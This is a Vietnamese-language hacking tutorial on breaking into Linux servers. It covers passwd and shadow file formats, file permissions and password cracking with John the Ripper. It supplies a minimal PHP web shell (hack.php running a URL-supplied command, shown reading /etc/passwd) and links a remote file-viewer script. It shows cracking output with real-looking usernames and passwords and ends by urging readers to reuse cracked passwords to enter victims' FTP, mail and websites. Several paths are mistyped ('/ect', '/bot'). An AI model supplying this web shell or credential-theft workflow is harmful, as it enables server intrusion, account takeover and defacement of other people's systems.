Cơ bản Hack Linux

trang này đã được đọc lần

Mình xin giới thiệu sơ luợc qua một vài thư mục quan trọng trên server :

/home : nơi lưu giữ các file người sử dụng(VD : người đăng nhập hệ thống có tên là Micro thì sẽ có 1 thư mục là /home/Micro)
/bin : Các lệnh Unix cơ bản cần thiết như ls chẳng hạn .
/usr/bin : các lệnh khác , các lệnh dùng bởi người sử dụng đặc biệt và dùng quản trị hệ thống .
/bot : Nơi mà kernel và các file khác được dùng khi khởi động .
/ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây là nơi mà chúng

ta cần khai thác nhiều nhất )
/var : Các file quản trị như file bản ghi được các thiết bị sử dụng .
/usr/lib : Các thư viện chuẩn như libc.a
/usr/src : Vị trí nguồn của các chương trình .

OK ! Bây giờ mình chuyển sang vấn đề mật khẩu :

Mọi account trên hệ thống đều có một mục nhập file /ect/passwd ( Các bạn có thể dùng chức năng của backdỏo để xem nội dung file này )
Mỗi mục nhập file passwd có định dạng sau :
username:password:uid:gid:geos:homedir:shell

Ví dụ : root:*:0:1:System PRIVILEGED Account,,,:/:/bin/csh

Đây gọi là trường password .
Username: Tên người sử dụng
Password: Pass của nguời dùng
UserID: Số nhận diện người dùng
GroupID: Số nhận diện nhóm
Geos : vài thông tin về ngườ sử dụng
Home Direcoty: Thư mục ngườ đăng nhấp
Shell : nơi mà chứa lệnh shell cho người s%

http://www.4me.ru/kozar/remview.php

Thường thì password bị mã hoá , nhưng ta có thể dùng 1 số chương trình Crack đựơc ( Tôi sẽ hướng dẫn Crack vào phần sau ) Vì vậy ngừơi ta đã khắc phục bằng cách nghĩ ra mật khẩu bóng (Shadow password ) . Khi mật khẩu bóng được dùng , trừơng mật khẩu trong /ect/passwd chỉ chứa 1 dấu X hoặc 1 dấu * mà không bao giờ xuất hiện trong phiên bản mật mật khẩu dã được mã hoá . Thay vào dó người ta dùng file thứ 2 có tên gọi Shadow ( /ect/shadow )
File này chứa các mục nhập mà thoạt nhìn rất giống với mục nhập trong /ect/passwd , nhung chứa mật khẩu thực được mã hoá trong trường mật khẩu .
Chỉ có thể đọc được shadow bằng gốc . Trong truờng password của Shadow chỉ có username và password là có thật bị mã hóa còn các phần khác là không có thực hoặc bỏ trống .

Đây là vị trí của file password của 1 số phiên bản khác nhau :
Version Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

File nhóm ( ect/group )
Hầu hết các Hacker không quan tâm đến file này nhung tôi thấy cần phải nói vì nó cung quan trong .
Ðịnh dạng của file này là :
Groupname:password:gid:member

VD: lbin:*:1:root,daemon
tên nhóm là : lbin
pass : * ( o tồn tại --> nó nằm trong Shadow )
1 : số nhóm 1 (nhóm o là root )
người được sử dụng là : root , daemon

Trường password của file group đôi khi khá kỳ lạ. nó không được sử dụng nhiều ,nhưng khi kết hợp với trình newgrp , nó cho phép những người sử dụng không phải là thành viên của 1 nhóm có thể có thừa nhận định danh . ( Mình sẽ nói đến phần sau )

Trong khi sử dụng Backdoor để khai thác hệ thống bạn sẽ gặp 1 số lỗi xảy ra như acces denied hoặc permission denied . Ðây là lỗi khi bạn dùng chức nang xem 1 thu mục hoặc 1 file đã bị ấn định quyền sở hữu và hạn chế khả năng truy cập . Vậy phải làm sao , chắc bạn cũng đã nghe nói đến LEO THANG ÐẶC QUYỀN chứ . OK chúng ta sẽ làm đựơc mọi thứ nếu chúng ta nằm ở vị trí ROOT .

Nhung trứơc tiên chúng ta sẽ tìm hiểu về giới hạn sử dụng file .
Giới hạn sử dụng là cách thức dùng file mà ngườ sử dụng có thể thực hiện được trong Unix . Có 3 giớ hạn sử dụng :
+Cho phép đọc ( Read ): bạn có thể xem nội dung file
+cho phép sửa đổi (Write) : Bạn có thể thay đổi hoặc xoá file .
+Cho phép thi hành (Excute) : Nghia là bạn là b?n có thể chạy file nhu 1 truong trình ( Bạn chú ý cái này cho phép ta run Backdoor trên server )

Mình lấy ví dụ : Các bạn thử dùng chức năng info của Backdoor đối với 1 file trên server xem sao :
ban sẽ thấy :
-rwx r-x r-x

Dấu ghạch ngang đầu (-) kí hiệu là đây là 1 file
3 ký tiếp theo (rwx) : nói lên chủ sở hữu có thể được ,ghi và thi hành )
tiếp theo : r-x : nói lên nhóm có thể đọc và thi hành
ti?p theo : r-x : những nguời khác có thể đọc và thi hành .
nói chung nó la ký hiêu của Read-Write-Excute .
Có thể hiểu trong từng mức có 3 bit tuong ứng với giới hạn sử dụng ( Các bạn còn nhớ cách Chmod file để làm Forum chứ , đấy đấy chính nó )

mình sẽ hướng dẫn cách Crack file password bằng Jonh , và các lệnh để xâm nhập vào server , và thực hiện các lệnh trên server .
Dần dần bạn sẽ học được cách Hack 1 cách chuyên nghiệp hơn thông qua FPT , TFTP , PHF , RPC , NIS , Senmail , WU-FTP Server , BIND .

1 lời khuyên : không có gì hay hơn là bạn nên cài thử Linux xem sao . OK

Ngoài chương trình trên ra, ta còn có thể tự viết một đoạn PHP như sau :
<?
$output = `$cmd`;
echo $output;
?>
Ví dụ : Sau đó lưu đoạn mã này với tên là hack.php. Khi upload lên, ta thực hiện lệnh như sau :
www.tentrangweb.com/hack.php?cmd=cat+/etc/passwd

Hướng dẫn bẻ mật khẩu của Unix bằng John The Ripper :

--------------------------------------------------------------------------------

Lấy file passwd
Crack file passwd
Single crack
Crack bằng wordlist (+rules)
Incremental crack
External crack
Sử dụng các passwd đã bị crack


I. Lấy file passwd

Bạn có thể khai thác một lỗ hỏng bảo mật trên server, chẳng hạn như chỗ yếu cgi hoặc lỗi tràn bộ đệm, ... sau đó get file /etc/passwd & /etc/shadow

TH1: nếu passwd chưa bị shadow
cat /etc/passwd > password.txt

* nếu server đang chạy NFS, bạn phải dùng ypcat(yellow pages cat) & grep -s thay cho cat:
ypcat /etc/passwd | grep s > password.txt

TH2: nếu passwd đã bị shadow, bạn phải cat cả file /etc/passwd & /etc/shadow, sau đó unshadow cho passwd:
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > password.txt


II. Crack file passwd

Trước khi crack file passwd, tôi muốn giới thiệu sơ lược cho bạn về format của file passwd. Đây là một file text chứa các thông tin về user trên server. Mỗi dòng trong file này có dạng như sau:

LWait:0m8Car45jNxHQ:1000:2000:John Doe:/home/litewait:/bin/csh

LWait login name
0m8Car45jNxHQ encrypted passwd
1000 user id
2000 group id
John Doe real name
/home/litewait home dir
/bin/csh shell

* encrypted passwd=="*" -> account này đã bị vô hiệu, đừng mất công để crack passwd của account này!
* encrypted passwd=="+" -> passwd đã bị shadow, bạn phải unshadow trước khi crack

Ok, bây giờ chúng ta sẽ crack file password.txt! Có 4 cách để crack passwd:

1. Single crack

- được dùng để crack các weak passwd

C:\john>john -single password.txt
Loaded 585 passwords with 128 different salts (Standard DES [24/32k])
thomas (mrice)
guesses: 1 time: 0:00:00:44 29% c/s: 86654 trying: bja$on - m4ry4nnr
guesses: 1 time: 0:00:06:27 100% c/s: 33653 trying: aamy1961 - bamy1969

( password.txt: file passwd cần crack)

JTR vừa crack được 1 passwd "thomas" của username "mrice"(passwd luôn đứng trước username). JTR cũng đang đoán các passwd từ bja$on -> m4ry4nnr. 1961, 1969? "Rất có thể có năm sinh của user trong passwd", JTR nghĩ vậy đó;)


2. Crack bằng wordlist (+ rules)

- JTR đã có sẵn file wordlist "password.lst"! Bạn không cần phải thêm vào những từ đại loại như "tEST", "Test", ... Chỉ cần một từ "test" trong file wordlist là đủ. Khi crack bằng wordlist có dùng thêm rules, JTR sẽ tự động dùng thêm "tEST", "Test", ..., "test123", ... để đoán passwd!

C:\john>john password.txt -w:password.lst -rules
Loaded 584 passwords with 128 different salts (Standard DES [24/32 4K])
julianne (thutchcr)
mizzou (slymer)
hal9000 (csalzman)
hammer (preardon)
scoobydo (sfuemmel)
mylord (gdessieu)
scoobydo (jreynold)
guesses: 7 time: 0:00:00:46 100% c/s: 100468 trying: owl - 0wl

(-w:<file wordlist>)

JTR vừa đoán được 8 passwd!

* Cách đặt luật cho JTR: để đặt luật cho chế độ crack bằng wordlist, bạn hãy hiệu chỉnh phần "List.Rules:Wordlist" trong file cấu hình của JTR, "john.ini"

# Wordlist mode rules[List.Rules:Wordlist]

(tất cả các dòng bắt đầu bằng dấu # trong file john.ini được coi là các dòng chú thích)

Xem các ví dụ sau sẽ rõ về cách đặt luật cho JTR!

>4<7
chỉ chọn các từ có chiều dài >4 && <7 kí tự, tức là dài 5->6 kí tự

>5<7lc
chỉ kiểm tra các từ dài 6 kí tự, sau đó viết thường(lowercase) & viết hoa kí tự đầu tiên(capital), aBcDeF -> Abcdef

l<9/ese3
lowercase và swap 'e' thành '3'; loại bỏ các từ không chứa 'e' hoặc dài hơn 8 kí tự, tesT -> t3st

>2<4/isi1
lowercase và swap 'i' thành '1'; loại bỏ các từ không chứa 'i' hoặc không dài đúng 3 kí tự

l<8/isi1^[0-9]
lowercase, swap 'i' thành '1' và thêm 0-9 vào đầu; loại bỏ các từ không chứa 'i' hoặc dài quá 7 kí tự, Vicki -> 0v1ck1, 1v1ck1, 2v1ck1, ..., 9v1ck1

'7/ese3/isi1$[0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, swap 'e' thành 3 và 'i' thành '1', sau đó thêm 0-9 vào cuối; loại bỏ các từ không chứa 'i' & 'e', zhaowei-ww -> zhaow310, zhaow311, ..., zhaow319

>4<6T1^[0-9]^[0-9]
từ phải dài 5 kí tự, đổi kiểu chữ của kí tự thứ 2(ở vị trí 1), sau đó thêm 0-9, 0-9(hai số sau của năm sinh) vào đầu, vIcki -> 00vicki, 10vicki, ..., 99vicki

'7T0$[aeiou0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, đổi kiểu chữ của kí tự thứ 1(ở vị trí 0), sau đó thêm các nguyên âm hoặc 0-9 vào sau, zhaowei1976 -> Zhaoweia, Zhaoweie, ... Zhaowei0, ..., Zhaowei9

i0[v]i3[k]
chèn 'v' vào vị trí 0 và 'k' vào vị trí 3, ici -> vicki

o4[123]
ghi đè lên kí tự thứ 5(ở vị trí 4) bằng '1', '2' hoặc '3', zhaowei -> zhao1ei, zhao2ei, zhao3ei

=0?d$7
bỏ qua các từ không bắt đầu bằng 1 digit, thêm 7 vào sau, 7vicki -> 7vicki7

@?w
xoá bỏ các kí tự trắng, zhao wei -> zhaowei

%2i
chỉ chọn các từ có 2 chữ 'i' trở lên, vicki -> vicki

Bạn có thể tìm thấy nhiều ví dụ khác trong file john.ini và tài liệu đi kèm của JTR. Nếu bạn muốn xem output của các luật mà bạn đã đặt, hãy nhập vào:

john -w:wordfile.dic -rules -stdout > output.file


3. Incremental crack

- chế độ này cho phép bạn đoán tất cả các khả năng của passwd. Bạn dùng tùy chọn -i:<mode> như sau:

john password.txt -i:all
thử hết mọi khả năng

john password.txt -i:alpha
passwd chỉ gồm các kí tự alpha(a-z)

john password.txt -i:digits
passwd chỉ gồm các kí tự số(0-9)

Để cấu hình cho chế độ "Incremental", bạn hãy hiệu chỉnh phần "Incremental" trong file john.ini

[Incremental:All]
File = ~/all.chr
MinLen = 0
MaxLen = 8
CharCount = 95

[Incremental:Alpha]
File = ~/alpha.chr
MinLen = 1
MaxLen = 8
CharCount = 26

[Incremental:Digits]
File = ~/digits.chr
MinLen = 1
MaxLen = 8
CharCount = 10

* Ngoài các tập kí tự mặc định all.chr, alpha.chr, digits.chr, ..., bạn có thể xây dựng cho mình một tập kí tự riêng để dùng trong chế độ crack "Incremental". Ở đây, tôi làm thử một ví dụ cho bạn thấy!

Đầu tiên, chúng ta cần backup file john.pot. File này chứa các passwd vừa bị crack!

copy john.pot john.bak
del john.pot

Giờ thì bạn mở Notepad, tạo file john.pot mới với nội dung như sau:

:betyouca
:ng351

Lưu ý, mỗi dòng trong file john.pot phải bắt đầu bằng một dấu ":", tiếp theo là các kí tự. Chiều dài tối đa của các kí tự trên một dòng(trừ dấu ":") là 8, tương ứng với maxlength của unix plaintext passwd!

Lưu file john.pot và chạy JTR:

C:\john>john -make:betyou.chr
Loaded 2 plaintexts
Generating cracking order... DONE
Successfully written charset file: betyou.chr (13 characters)

Chúng ta vừa tạo xong file tập kí tự có tên là betyour.chr. Bây giờ bạn hãy hiệu chỉnh file john.ini, đến phần "Incremental" và thêm vào các dòng sau:

[Incremental:betyou]
File = ~/betyou.chr
MinLen = 3
MaxLen = 7
CharCount = 13

File=~/betyou.chr(file tập kí tự, ~/ == home dir)
MinLen=3 & MaxLen=7 -> JTR chỉ đoán các passwd có chiều dài từ 3->7 kí tự
CharCount=13 -> số kí tự có trong tập kí tự này, đây là số mà thấy khi tạo file betyou.chr ở trước. Nếu bạn gán CharCount=100, JTR sẽ báo lỗi "chỉ có thể load được x kí tự". Hãy thay thế 100 bằng x

Đến đây, chúng ta có thể sử dụng tập kí tự mới để crack passwd. Bạn hãy nhập vào:

john password.txt -i:betyou


4. External crack

JTR còn cho phép bạn lập trình để crack passwd. Cú pháp lệnh y chang như của C vậy. Bạn hãy xem ví dụ sau, nó có nhiệm vụ lọc các từ có chứa kí tự alpha(a-z).
[List.External:Filter_Alpha]
void filter()
{
int i, c;

i = 0;
while (c = word[i++])
if (c < 'a' || c > 'z') {
word = 0; return;
}
}

Chi tiết về chế độ crack này, bạn xem thêm trong tài liệu hướng dẫn đi kèm của JTR!


--------------------------------------------------------------------------------

Tôi muốn nói thêm với các bạn một số vấn đề khác có liên quan khi crack passwd bằng JTR!

- nếu bạn chỉ muốn crack các user hoặc group cụ thể nào đó, hãy dùng tùy chọn -user hoặc -group(xem ví dụ sau)

john password.txt -user:LWait
chỉ crack passwd của user "LWait"

john password.txt -group:123 -i:custom
chỉ crack passwd của các user trong group có ID là 123

- crack passwd là một công việc tốn khá nhiều thời gian, có khi phải lên đến mấy ngày trời mới crack được vài passwd. Để tạm dừng tiến trình crack hiện tại, bạn hãy ấn Ctrl-C. Khi nào rãnh, bạn có thể restore lại tiến trình bằng cách gõ vào:

john -restore

- nếu bạn muốn crack nhiều file passwd cùng một lúc, bạn có thể sử dụng tùy chọn -session để làm việc đa phiên:

john session:zebpasses

Để restore lại session zebpasses, hãy nhập vào:

john -restore:zebpasses

Nếu bạn cần xem tiến độ crack của session này, hãy nhập vào:

john -status:zebpasses

Hoặc nếu bạn muốn biết JTR đã crack được bao nhiêu passwd trong file password.txt, hãy nhập vào:

john -show password.txt

- trong khi crack, bạn có thể bấm phím space để xem tiến độ crack. Nếu bạn thích JTR kêu bíp một cái khi vừa crack xong một passwd, hãy hiểu chỉnh phần "Options" trong file john.ini như sau:

[Options]
...
Beep = Y
...

- Bạn có muốn tăng tốc cho tiến trình crack không? Đừng nên mở nhiều chương trình khác khi đang chạy JTR. Nếu bạn đang chạy JTR trên Windows, hãy thay thế file john.exe bằng file mới trong file john-mmx.zip nếu chip CPU của bạn là Pentium hoặc trong file john-k6.zip nếu bạn đang dùng chip của AMD. Nếu bạn đang xài Linux, hãy tận dụng ngay sức mạnh của Linux. JTR phá passwd khá nhanh trên Linux;)


III. Sử dụng các passwd đã bị crack

Nhiều người thường sử dụng y chang một passwd để login telnet, ftp hay pop3(mail). Vì vậy, bạn có thể thử passwd này để login vào ftp account của họ, thay đổi trang web của họ hay để lại vài lời nhắn trong mailbox của họ!

Chúc bạn thành công!